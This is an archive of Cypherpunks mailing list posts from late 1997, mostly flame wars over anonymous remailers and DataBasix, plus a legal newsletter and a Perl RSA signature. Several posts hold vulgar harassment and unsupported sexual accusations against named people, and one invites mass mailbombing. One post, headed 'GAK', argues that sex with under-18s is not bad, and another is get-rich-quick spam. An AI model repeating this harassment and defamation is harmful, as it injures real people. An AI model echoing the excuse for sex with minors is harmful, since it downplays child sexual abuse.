> : "lawyer" for DataBasix, you demanded that Jeff Burchell turn over all of his
> : user logs to you and Gary, just as the so-called "Church" of $cientology
> : did with the anon.penet.fi remailer in Finland last year. 
> 
> She never posed as a lawyer.  Yet another of your lies.

Then why did you demand that Jeff violate the privacy of all of his
users by turning over his user logs to you and Belinda Bryan
<eridani@ix.netcom.com>?  And when he said that the only condition
he'd release them was in response to a letter FROM YOUR LAWYER,
Belinda Bryan sent such a letter?

Perhaps the remailer users would like to know what purpose you had
in mind for demanding the e-mail addresses of EVERYONE who either
SENT or RECEIVED anonymous mail through Jeff's remailer.

> : The end
> : result was the same in both cases, too.  Both remailers shut down to avoid
> : the continued harassment from people like you, Gary, and Helena.  I hope
> : you're proud of yourselves.
> 
> Even the remailer operator proved you wrong.  Nice try liar.  It's not going
> to work anymore.  

It's your abuse that's not going to work anymore.  You've cried wolf
once too often about "abuse", "forgery", and other imagined
offenses.  The remailer operator did not "prove me wrong".  Reread
his post when you're sober:

  http://infinity.nus.sg/cypherpunks/dir.archive-97.11.13-97.11.19/0432.html

Just to refresh your memory, you were asked whether you had asked
Jeff Burchell to censor any anonymous posts that mentioned your
name.  You stonewalled the question, flippantly suggesting that
he/she ask the operator.  Someone did just that, and Jeff's post is
the result of that.  Looks like you gambled and lost that time!

You can call remailer users "liars" and "anonymous assholes" to your
heart's content, but your censorious actions and those of your
associates at DataBasix speak for themselves.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Sat, 29 Nov 1997 12:52:14 +0800
To: cypherpunks@Algebra.COM
Subject: Microsoft Rides Again
Message-ID: <199711290435.FAA20961@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Micro$oft fucked me up the ass. Please help. I'm bleeding to death.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: <brownlist@goplay.com>
Date: Sat, 29 Nov 1997 19:06:45 +0800
To: <cypherpunks@Algebra.COM>
Subject: it ain't BLUE anymore!
Message-ID: <199711291100.GAA18939@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



mailbombers?  start your engines ...

http://www.webpost.net/brownlist





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 30 Nov 1997 00:24:56 +0800
To: dave@bureau42.ml.org
Subject: Re: [RePol] Denizen
In-Reply-To: <Pine.LNX.3.96.971128232604.21775D-100000@bureau42.ml.org>
Message-ID: <34801536.7BA2@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



David E. Smith wrote:
> 
> On Fri, 28 Nov 1997, Dr.Dimitri Vulis KOTM wrote:
> 
> > Ralphie should get together with David Smith, the operator of the bureau42
> > remailer, who filters out whatever contents he doesn't like. Anything
> > coming out of bureau42 remailer is personally approved by David Smith
> > who bears full civil and criminal responsibility for the contents he approves.
> 
> This charge is completely unfounded, and completely bogus besides.

Dave,
  Despite your repeated denials of the good Dr. Vulis' carefully
researched revelations regarding bureau42 remailer, you still have
not had either the courage or integrity to publically explain how
you discovered that I am, in fact, Andy Dustman, unless you are,
in fact, logging and filtering your incoming remail, in fact.

DustMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 30 Nov 1997 00:29:55 +0800
To: cypherpunks@toad.com
Subject: Robinson CypherPunk
In-Reply-To: <199711290815.AAA23604@jimmy.djc.com>
Message-ID: <348018B0.48DF@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



> ======================================================
>  Q. How long did the real Robinson Crusoe live on that
> desert island?
>  A. Alexander Selkirk? Nine years. In 1703, the old pirate
> got mad at his ship's master, one Capt. William Dampier,
> and jumped overboard. Slept that night on the beach. Next
> morning he hailed the ship, but the captain just laughed
> at him and set sail. It was the same Capt. Dampier who
> saw Selkirk's campfire smoke nine years later and sent a
> boat ashore. Selkirk was still mad. Madder. Took two days
> to talk him into going aboard.
> ==============================================
 
> LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email
> http://www.LMBoyd.com/postscript.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 30 Nov 1997 02:39:53 +0800
To: cypherpunks@toad.com
Subject: At night, the ice weasels come...
Message-ID: <34803754.42E5@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



http://www.pretext.com/nov97/short3.htm

"Don't get me wrong. I'm not a technophobe. I just think people need to 
practice safe surfing," Cottrell says.
 "In some ways the Anonymizer is the virtual condom." 

From: 'The Anonymizer'--by Clay Hathorn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 30 Nov 1997 01:17:39 +0800
To: cypherpunks@toad.com
Subject: Re: [RePol] Denizen
In-Reply-To: <Pine.LNX.3.96.971128232604.21775D-100000@bureau42.ml.org>
Message-ID: <37qXge47w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"David E. Smith" <dave@bureau42.ml.org> writes:

>
> On Fri, 28 Nov 1997, Dr.Dimitri Vulis KOTM wrote:
>
> > Ralphie should get together with David Smith, the operator of the bureau42
> > remailer, who filters out whatever contents he doesn't like. Anything
> > coming out of bureau42 remailer is personally approved by David Smith
> > who bears full civil and criminal responsibility for the contents he approv
>
> This charge is completely unfounded, and completely bogus besides.

Proof, please.

[I've verified that Dave filters out "poltically incorrect" messages sent
to the cypherpunks list, while permitting harrassment of Dr. Grubor]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 30 Nov 1997 09:18:36 +0800
To: brownlist@goplay.com
Subject: Re: it ain't BLUE anymore!
In-Reply-To: <199711291100.GAA18939@www.video-collage.com>
Message-ID: <34803C5B.1291@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



brownlist@goplay.com wrote:
> 
> mailbombers?  start your engines ...
> 
> http://www.webpost.net/brownlist

"This site has been removed by the provider due to its abrasive
content."

Looks like it ain't BROWN anymore, either...

BlueMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 30 Nov 1997 00:29:48 +0800
To: mail2news@basement.replay.com
Subject: Re: "Good job NANAE. You really fucked up royally." -- sez DataBasix
In-Reply-To: <65f2mj$t22@sjx-ixn2.ix.netcom.com>
Message-ID: <b858392fe9cc7220a97b36db9ca3ce04@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore) wrote:

> No, otherwise it'd say 'theanonassholeislosing@
                             ^^^^^^^^^^^

Keep up your bigoted remarks towards those of us who'd rather not
contribute our e-mail addresses to spammers and abusers.  Your true
colors are showing ever more clearly with each passing day.

> Changing your tune a bit?  hahaha You're losing.

If believing that makes you happy, go right ahead.

> I remember that you have no clue what you're talking about anymore.  You
> complain that I don't sign my posts yet you miss one thing.  I'm not posting
> from databasix.com.  That's where the accusations are leveled towards. Those
> were the posts that were forged.  When I post from DataBasix, I'll pgp sign
> them.

You were posting from Netcom, not DataBasix, when you accused the
poster of a technical question to alt.privacy.anon-server of wanting
the the information so that he could permit "forgery".

> You're an abusive asshole and you're posting anonymously.  There are
> legitimate reasons for using a remailer.  None of your posts have fit that
> criteria.

If you're campaigning for "privacy czar", this isn't going to win
you any votes.  Once again, when you take the time and effort to set
up your own remailer, then you have the privilege of determining
"legitimate reasons for using it".  Have you, Belinda Bryan
<eridani@ix.netcom.com>, or your other flunkies at DataBasix EVER
had ANYTHING civil to say publicly about anonymous posters?  Care to
cite an example?

> : Then why did you demand that Jeff violate the privacy of all of his
> : users by turning over his user logs to you and Belinda Bryan
> : <eridani@ix.netcom.com>? 
> :  And when he said that the only condition
> : he'd release them was in response to a letter FROM YOUR LAWYER,
> : Belinda Bryan sent such a letter?
> 
> One doesn't need to be a lawyer to send a letter. 

You didn't answer the question.  You demanded ALL of the user logs
for Jeff's Huge Cajones remailer.  Why?  What would have happened to
all of the e-mail addresses of his users if Jeff had given in to
that demand?

> : Perhaps the remailer users would like to know what purpose you had
> : in mind for demanding the e-mail addresses of EVERYONE who either
> : SENT or RECEIVED anonymous mail through Jeff's remailer.
> 
> Perhaps readers would be interested in knowing the real reason you're so
> attracted to me.  Maybe someday you'll post your demands.

Just leave remailers and their users the he** alone, Gary!

> Blah Blah Blah. You're such a lousy liar.  You've still never posted one shred
> of evidence that I ever abused anything or tried to shut a remailer down or
> had one shut down or whatever you like to think.  It's more likely it's YOU
> who want remailers shut down.  Many are now complaining about tactics such as
> yours. Posting lies from behind a remailer is one good way to try to get them
> shut down.  Why do you want remailers shut down so badly?

You call me a liar, then you proceed with your typical "big lie"
technique of accusing me without evidence.  "Posting lies from
behind a remailer"?  Do you fancy yourself to be the "truth squad"
or "Thought Police", Gary?  Have you got a Perl script in your back
pocket that will filter posts for "truth" and "lies" that you'd care
to donate to the remailer net, or should remailer operators just
block all posts that even mention your name just to be on the "safe"
side?

It's interesting that you'd claim "Posting lies from behind a
remailer is one good way to try to get them shut down".  Is that
your goal?  Have you tried that tactic before, perhaps as a pretext
to get a remailer shut down?  Your unproven accusations are a bit
mis-targeted.  I'm the one who's USING a remailer, you're the one
who's consistently CRITICIZED them.  Have you even USED a remailer
(that you'll admit to)?  Have you ever contributed money or
technical expertise to setting up or operating one?  Back when you
were lecturing people on how a remailer ought to be run, you were
politely invited to set up your own and SHOW us all how a remailer
should be run.  That invitation is still open.

> : Just to refresh your memory, you were asked whether you had asked
> : Jeff Burchell to censor any anonymous posts that mentioned your
> : name.  You stonewalled the question, flippantly suggesting that
> : he/she ask the operator.  Someone did just that, and Jeff's post is
> : the result of that.  Looks like you gambled and lost that time!
> 
> I said (and I told him)  I wanted any post with my email address in the From
> line or To line dropped.
> 
> Looks like your creativity is running out.  Looks like you gambled
> and lost. 

You were harassing Jeff in June and yet you weren't able to produce
any evidence of "forged" posts any more recent than February, and
even those appeared to have been forged to LOOK like they had
originated from a remailer.  The problem is, the person who posted
that manufactured "evidence" was not very knowledgeable about
remailers, and attempted to implicate a server, Mailmasher, that
didn't even support header pasting.  (It was a 'nym server, not a
remailer.)  Nevertheless, your associate at DataBasix, William J.
McClatchie, used this bogus "evidence" as part of his campaign to
get Mailmasher shut down.  (Still wanna claim that DataBasix is not
anti-remailer?)

According to Jeff, you also demanded that he block what you called
"inflammatory posts".  He also indicated that he was blocking posts
that contained your e-mail address in the *BODY* of the post (which
most replies to your posts would contain) because YOU DEMANDED IT.
Once again you've been caught in a lie, Gary.  "Forged" From:  lines
were already a non-problem -- it was the CONTENT that you sought to
censor.

I might add that while remailers have long ago removed the
capability of "forging" From:  lines to usenet posts, your own ISP,
Netcom, has not.  Maybe you ought to be whining to them and accusing
your fellow Netcommies of being "abusers".  There certainly seem to
be a lot more abuse complaints about Netcom users than there are
about remailer users.  Could it be that spammers and UCErs find
Netcom more tolerant of their net abuse than do the remailers you
continually attack?

> You've lost.  It's not working anymore.  Your unfounded and unproven
> accusations have proved you the liar.  You've yet to explain why you've go t
> such a 'thing' for me.  Bet I got your account closed for spamming or UCE. 

You weren't able to send any spam or UCE to my account because I've
never given the address to you.  That, apparently, is what's bugging
you about the fact that I'm anonymous.  We all know about how you
and Belinda Bryan like to Netcop anyone who dares to disagree with
you, but I was not among your victims.  Sorry to disappoint you.

The existence of people like you on the net is one of the best
selling points for posting anonymously and not indiscriminately
broadcasting one's name and e-mail address worldwide with every
post.  It's sort of hard to blackmail someone by posting
confidential information, like old tax liens, if you don't know his
name, isn't it?  Is that what's bugging you about not knowing my
name?

It's interesting that in a recent post, your fellow DataBasix-er
Belinda Bryan expressed concern about her UNLISTED phone number or
her street address being revealed on the net.  So why is it OK to
"hide behind the skirts of" an unlisted phone number, but using an
"unlisted" e-mail address somehow makes one a "dickless coward with
no balls" (to use her own words)?

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lance Cottrell <loki@infonex.com>
Date: Sun, 30 Nov 1997 05:15:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: At night, the ice weasels come...
In-Reply-To: <34803754.42E5@dev.null>
Message-ID: <v03102801b0a63304169d@[206.170.115.5]>
MIME-Version: 1.0
Content-Type: text/plain



That URL seems to be incorrect. The article is at
http://www.pretext.com/nov97/shorts/short3.htm

	-Lance

At 9:40 AM -0600 11/29/97, TruthMonger wrote:
>http://www.pretext.com/nov97/short3.htm
>
>"Don't get me wrong. I'm not a technophobe. I just think people need to
>practice safe surfing," Cottrell says.
> "In some ways the Anonymizer is the virtual condom."
>
>From: 'The Anonymizer'--by Clay Hathorn


----------------------------------------------------------
Lance Cottrell   loki@infonex.com
PGP 2.6 key available by finger or server.
http://www.infonex.com/~loki/

"Love is a snowmobile racing across the tundra.  Suddenly
it flips over, pinning you underneath.  At night the ice
weasels come."
                        --Nietzsche
----------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jonathan Wienke" <JonWienk@ix.netcom.com>
Date: Sun, 30 Nov 1997 06:12:13 +0800
To: "Brad Dolan" <cypherpunks@cyberpass.net>
Subject: Re: How to spot a hate group [was Re: Update On Jim Bell]
Message-ID: <01bcfd12$19c34ec0$LocalHost@jonathan-s-pc>
MIME-Version: 1.0
Content-Type: text/plain



- -----Original Message-----
From: Brad Dolan <bdolan@usit.net>
[snip]
>Professor Joyce Malcolm of Bentley College in Massachusetts
>was the chair of the panel on which I sat.  She showed me
>something quite disturbing from another presentation that
>she had attended.  The paper attempted to determine if the
>Montana Militia could be considered a "hate group" or
>not.  Among the methods by which they determined this was
>examination of the phrases and concerned in Montana Militia
>literature.  Among the phrases or subjects that would
>classify a group as a "hate group" were:
>
>1. Discussion of the Bill of Rights, especially the
>Second Amendment.
>
>2. Discussion of military oppression, in the U.S. or
>elsewhere.
>
>3. Discussion of the Framers of our government.
>
>She showed me a copy of the criteria used by the criminologists
>in question, and these were among the criteria.  I guess
>the ACLU and Amnesty International are hate groups also.
>Very disturbing.

No wonder the EPA and every other bureaucrat is stocking up on weaponry of
all kinds...Almost everyone in America is an anti-government extremist hate
group member.  Here is some "hate speech" from a Dead White Guy(tm) to ponder:

"They tell us we are weak--unable to cope with so formidable an
adversary.  But when shall we be stronger?  Will it be next week, or the
next year?  Will it be when we are totally disarmed?  Shall we acquire the
means of effectual resistance by lying supinely on our backs and hugging
the delusive phantom of hope, until our enemies have bound us hand and
foot?  We are not weak if we make a proper use of the means which the God
of nature has placed in our power.  Millions of people armed in the hold
cause of Liberty, and in such a country as that which we possess, are
invincible.  Besides, we shall not fight our battles alone.  There is a
just God who presides over the destinies of nations, who will raise up
friends to fight our battles for us.  The battle, is not to the strong
alone; it is to the vigilant, the active, the brave.  Many cry 'Peace,
peace'--but there is no peace.  The war is actually begun!  Why stand we
here idle?  Is life so dear, or peace so sweet, as to be purchased at the
price of chains and slavery?  Forbid it Almighty God!  I know not what
course others may take; but as for me, give me Liberty or give me death!"
 -- Patrick Henry

Jonathan Wienke

PGP Key Fingerprints:
7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC

"If ye love wealth greater than liberty, the tranquillity of servitude
greater than the animating contest for freedom, go home from us in peace.
We seek not your counsel, nor your arms. Crouch down and lick the hand that
feeds you. May your chains set lightly upon you; and may posterity forget
that ye were our countrymen."
-- Samuel Adams

"Stupidity is the one arena of human achievement where most people
fulfill their potential."
 -- Jonathan Wienke

Never sign a contract that contains the phrase "first-born child."
Those who live by the sword get shot by those who don't.

RSA export-o-matic:
print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Sun, 30 Nov 1997 05:36:03 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: [RePol] Denizen
In-Reply-To: <37qXge47w165w@bwalk.dm.com>
Message-ID: <Pine.BSF.3.91.971129150313.20056A-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain



> 
> Proof, please.
> 
> [I've verified that Dave filters out "poltically incorrect" messages sent
> to the cypherpunks list, while permitting harrassment of Dr. Grubor]
> 

Harrasment of Dr. Grubor will be a demonstration sport during the next 
Olympic Winter Games.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 30 Nov 1997 14:28:55 +0800
To: cypherpunks@toad.com
Subject: If you fought to defend your country...
Message-ID: <3480984B.151F@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



...you fit the 'profile' of the OKC bomber.

Be afraid...be very afraid.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sun, 30 Nov 1997 14:32:49 +0800
To: cypherpunks@toad.com
Subject: Re: [RePol] Denizen
In-Reply-To: <Pine.BSF.3.91.971129150313.20056A-100000@mcfeely.bsfs.org>
Message-ID: <34809A5A.995@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Rabid Wombat wrote:

> > [I've verified that Dave filters out "poltically incorrect" messages sent
> > to the cypherpunks list, while permitting harrassment of Dr. Grubor]

> 
> Harrasment of Dr. Grubor will be a demonstration sport during the next
> Olympic Winter Games.

Oh, great. Now it's going to be ruined by crass commercialism.

GruborMonger
"The Official TruthMonger for the 1998-2448 Nuclear Winter Olympic
Games"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Sun, 30 Nov 1997 08:37:04 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <1def8856eec73e9418353fecabf6da64@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



At 03:04 PM 11/29/97 -0500, you wrote:
>> 
>> Proof, please.
>> 
>> [I've verified that Dave filters out "poltically incorrect" messages sent
>> to the cypherpunks list, while permitting harrassment of Dr. Grubor]
>> 
>
>Harrasment of Dr. Grubor will be a demonstration sport during the next 
>Olympic Winter Games.
>

Please send the pictures.


AOLNewbieBinaryMonger        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: kirby@daltek.net
Date: Sun, 30 Nov 1997 12:12:32 +0800
To: <cypherpunks@toad.com>
Subject: Hi
Message-ID: <199711300247.UAA10832@mercury.gmds.com>
MIME-Version: 1.0
Content-Type: text/plain




Teddy Turner, of Atlanta >has just Pre-launched an exciting new company
with technology that is going to change the way the world communicates! You
can be a part of it! Have you ever wanted to be in on the ground floor of
something with incredible income potential? The only people who know about
this are the 800 people who were in Atlanta on Nov. 15th and the people
they have told so far. If you are interested in finding out more call this
number:
1-800-775-5953 ext.1106. If you like what you hear email me back and I will
get a hold of you and give you details about this exciting new business!
Congratulations! You've accomplished the hardest part, finding this
opportunity!

Regards,
Kerwin

P.S. I'm finding this is the perfect business to do on the Internet!







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <Use-Author-Address-Header@[127.1]>
Date: Sun, 30 Nov 1997 11:02:49 +0800
To: mail2news@basement.replay.com
Subject: Re: Another Anti-Privacy Bigot Heard From (was: The Guilmette/Burnore deba
In-Reply-To: <slrn67eevb.fjb.sjsobol@devel.nacs.net>
Message-ID: <c87feca75aa95fb3e51fe7ad0c72f17d@anonymous.poster>
MIME-Version: 1.0
Content-Type: text/plain



gburnore@netcom.com (Gary L. Burnore) wrote:

> : The only exception I see is if
> : someone threatens the life or wellbeing of another. Then I can understand
> : why someone that posts anonymously should get into trouble.
> 
> So when someone posting anonymously makes statements about YOU that are
> outright lies what will you say?   Will you consider that part of your
> exception (falling under the well being of another) or will it be under the
> protection from the government part? 
> 
> You totally missed his point and turned it into a freedom of speech thing. 
> 
> Well guess what bozo, it's NOT within someone's rights to post lies about
> another person.  THAT's why it's being done anonymously.  It's not fear of the
> government that's keeping the anon asshole anonymous. It's knowing that if
> his/her identity is discovered, he/she could be held accountable for the
> _LIES_.

What part do you expect the goverment to play in this scenario,
though?  Shall they establish an "Internet Truth Police" squad?

The problem is, for just about every accusation there is another
voice saying that the first accusation is false and counter-accusing
that the original accuser is a "filthy rotten liar".  Neither of
these rival accusations deserves to be believed without supporting
evidence.

It's obvious that when you refer to one party in a debate as an
"anon asshole" that your mind is already made up and you're really
afraid of hearing all the facts.  It is evident that there are a far
larger number of NON-anonymous "assholes" on the net.  Such ad
hominem anti-privacy bigotry only betrays the weakness of your
position.  Ideas can stand on their own and if you must resort to an
ad hominem smear campaign to make your point, you are already well
on your way to losing the debate.  Are you implying that if an
"anonymous asshole" were to say, for example, that the world is flat
that you'd prefer to know the person's name so that you could dig up
dirt to smear him with rather than simply refuting his IDEA?

Why do I get the impression that your modus operandi is to
intimidate potential opponents into remaining silent rather than
refuting their ideas in reasoned, rational debate?

To anyone who hates privacy so much, I'd invite them to post their
snail mail address, home phone number, Social Security number, and
date of birth lest they likewise be accused of "hiding" something.
Most are too hypocritical to do so, of course.

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Sun, 30 Nov 1997 14:03:26 +0800
To: cypherpunks@cyberpass.net
Subject: Int'l Computer Law Observer #1
Message-ID: <v03102807b0a6b0a82877@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



>Date:         Thu, 27 Nov 1997 00:59:32 +0200
>Reply-To: wgalkin@lawcircle.com
>Sender: lawobserver Computer Law Observer
>              <LAWOBSERVER@MAELSTROM.STJOHNS.EDU>
>From: "William S. Galkin" <wgalkin@lawcircle.com>
>Subject:      Int'l Computer Law Observer #1
>To: LAWOBSERVER@MAELSTROM.STJOHNS.EDU
>
>                  **PREMIER ISSUE**
>                 ==================
>          ===============================
>     ===========================================
>        INTERNATIONAL COMPUTER LAW OBSERVER
>              December, 1997 -- No.1
>     ===========================================
>          ===============================
>                 ==================
>
>      PLEASE FREELY REDISTRIBUTE THIS ISSUE!!!
>
>Welcome to the Premier Issue of the International Computer Law Observer
>(ICLO). The ICLO is an e-mail report providing monthly coverage of
>significant legal developments from around the world relating to computers,
>technology and the Internet. Back issues and a listing of the Editorial
>Board can be found at http://www.lawcircle.com/observer . The
>Editor-in-Chief, William S. Galkin, Esq., is located in Ramat Gan, Israel,
>and can be reached for comments at wgalkin@lawcircle.com .
>

[big snip]
>--- SOUTH AFRICA ---
>
>[BOTTOM LINE] COURT GIVES NO SANCTION FOR ONLINE GAMBLING
>
>[WHAT HAPPENED] Johannesburg, Gauteng Province, South Africa - In South
>Africa's  first Internet related judgment, the Witwatersrand division of
>the  High Court of South Africa ruled in late October 1997 that it would
>not sanction online gambling in its jurisdiction [Ruben Olivier v The
>Minister of Safety and Security and the MEC for Safety and Security  of the
>Province of Gauteng]
>
>[WHY IT HAPPENED] The cyber cafe had  brought an application to court for
>the return of certain computer equipment comprising of a number of
>networked personal computers, the network server and certain peripherals
>following on the search of the cafe's premises and the seizure of the
>computer equipment.
>
>In refusing the application, the Court held that it was lawful for  the
>South African Police to impound computer equipment owned by a  cyber cafe,
>which was allegedly being used for online gambling.
>
>In terms of existing legislation, Internet gambling is illegal and the
>owner of the site is in contravention of national and provincial Gambling
>Acts, where they exist.
>
>[THE SIGNIFICANCE] Many experts have indicated that this case is indicative
>of the  controversy and complexity surrounding the issue of regulating
>Internet related transactions. Local gambling experts argue that the
>proliferation of online gambling threatens to undermine the development of
>a legal casino industry in South Africa at a time when companies are vying
>with one another for casino licenses. Many such companies are investing
>billions of rands in setting up in infrastructure development, but are
>threatened with competition from Internet gambling site operators who can
>set up shop online with ease.
>
>[INFORMATION  SOURCES] Cape Times Newspaper, 27 October 1997 edition 2.)
>Michael Silber - Werksmans attorneys
>
>[CONTRIBUTING EDITOR] Hofmeyr Herbstein Gihwala, Inc. - Contact: Lance
>Michalson - e-mail: lbm@hofmeyr.co.za






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 30 Nov 1997 14:05:23 +0800
To: cypherpunks@toad.com
Subject: Re: At night, the ice weasels come...
In-Reply-To: <34803754.42E5@dev.null>
Message-ID: <3.0.3.32.19971129215812.00696904@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:24 PM 11/29/1997 EST, Dr.Dimitri Vulis KOTM wrote:
>What will Cottrell do if someone uses his anonymizer(R)[TM] to connect to
>someone's web server many times in a row, requesting the same pages, and
>the admins of said server whine about "denial of service" attacks?

The Anonymizer has blocking capability to take care of web pages
whose administrators don't want anonymous users.  I don't know if
the Anonymizer automatically blocks sites that are getting pounded on,
but it can at least stop the problem after it gets noticed.
The Terms Of Service are at http://www.anonymizer.com/terms.html ;
"Abusers of the Anonymizer can expect no anonymity."
Of course, the Anonymizer maintains minimal information about its users,
so it's not clear whether you'll just lose your $15 account or 
get hunted down by dogs.

Of course, if the Anonymizer is using caching, nobody'll know to whine,
except for pages which are designed to subvert the dominant paradigm
by being uncacheable and different every time, and they deserve
Darwin's attention anyway.

Free anonymizer users aren't much risk, with 30 second delays,
assuming the anonymizer still places some limits on how many total
page hits per second or kbps it'll do for free.
Paid anonymizer users probably have more potential to cause damage,
since they're not time-limited, and using automated systems for
high-speed requests is against terms of service.
				Thanks! 
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 30 Nov 1997 13:28:00 +0800
To: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Subject: Re: your mail
In-Reply-To: <EPtLawOnbaoGUl8PvUSglw==@bureau42.ml.org>
Message-ID: <Pine.A41.3.95.971129221121.33866A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain




I think Vulis needs each of us to send ten copies of this back to him.


On Tue, 25 Nov 1997, bureau42 Anonymous Remailer wrote:

> May Timothy C[ocksucker] Maya's forgeries 
> get stuck up his ass so he'll have to 
> shit through his filthy mouth for the 
> rest of its miserable life.
> 
> 
>  /~~~\
> {-O^O-} Timothy C[ocksucker] Maya
>  \ o /
>   (-)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sun, 30 Nov 1997 07:28:10 +0800
To: cypherpunks@cyberpass.net
Subject: GAK
Message-ID: <383c6dafd4d5885ee2dfc6e0566ad5d1@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



>Timothy C. Mayonnaise is not only as queer as
>a three dollar bill, but he is also into
>having sex with children.
>
>  ___
> <*,*> Timothy C. Mayonnaise
> [`-']
> ' - '

This is a bad thing? In the Land of the Freeh "children" are defined as
"anybody under 18 years of age." A 16 year old is a "child" according to the
government but obviously isn't such. 

The "before 18 they're too immature" argument doesn't fly too well. At 18
they don't suddenly become "mature." If they aren't "mature" by about 14,
think of it as evolution in action.

As for homosexuality and/or uniqueness, this is supposed to be protected. Of
course it won't be if Klintonkov gets his way.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sun, 30 Nov 1997 14:47:43 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Is Tim May guilty of illegally advocating revolution?
In-Reply-To: <v03007807b0a402308a96@[204.254.21.48]>
Message-ID: <3.0.3.32.19971129223310.0072c8d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:45 AM 11/28/1997 -0500, Declan McCullagh wrote:
>	"//Actual, overt// incitement of the overthrow of the government
>	of the United States by force and violence, accompanied by the
>	language of direct and imminent incitement, is not freedom of
>	expression but a violation of Court-upheld legislative
>	proscriptions; yet the //theoretical// advocacy of such
>	overthrow, on the other hand, has been a judicially recognized
>	protected freedom since 1957." [See Yates v. United States, 354
>	U.S. 298 (1957), particularly Mr. Justice Harlan's opinion for
>	the 6:1 court.] (Emphasis in the original. --DM)
> http://caselaw.findlaw.com/scripts/getcase.pl?navby=case&court=US&vol=354&page=2
Actually, the linewrap munged the "page=298" at the end, leaving a 
reference is Reid vs. Covert, another fascinating case, 
dealing with the limits on US jurisdiction on citizens outside the 48 states,
in particarticular military jurisdiction and territorial jurisdictions
